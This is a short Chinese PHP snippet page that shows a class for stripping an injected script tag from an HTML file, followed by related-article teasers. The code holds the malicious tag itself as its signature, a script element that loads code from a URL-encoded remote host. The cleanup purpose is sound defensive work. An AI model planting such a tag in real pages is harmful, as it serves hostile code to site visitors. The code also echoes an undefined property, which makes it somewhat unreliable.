php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

PHP实现自动识别原编码并对字符串进行编码转换的方法

本文实例讲述了PHP实现自动识别原编码并对字符串进行编码转换的方法。分享给大家供大家参考,具体如下: /** * 对数据进行编码转换 * @param array/string...

随时给自己贴的图片加文字的php水印

随时给自己贴的图片加文字  <?  Header( "Content-type: image/jpeg");  function&...

PHP对表单提交特殊字符的过滤和处理方法汇总

PHP关于表单提交特殊字符的处理方法做个汇总,主要涉及htmlspecialchars/addslashes/stripslashes/strip_tags/mysql_real_esc...

PHP常用开发函数解析之数组篇[未完结]

一、数组处理函数: 醉感觉:数组处理函数在PHP开发中非常常见,学习好数组处理函数至关重要.数组处理函数在实际应用中涉及到:数组的创建,字符串于数组的相互转换,数组转XML,数组转JSO...

php实现构建排除当前元素的乘积数组方法

构建乘积数组 给定一个数组A[0,1,...,n-1],请构建一个数组B[0,1,...,n-1],其中B中的元素B[i]=A[0]*A[1]*...*A[i-1]*A[i+1]*.....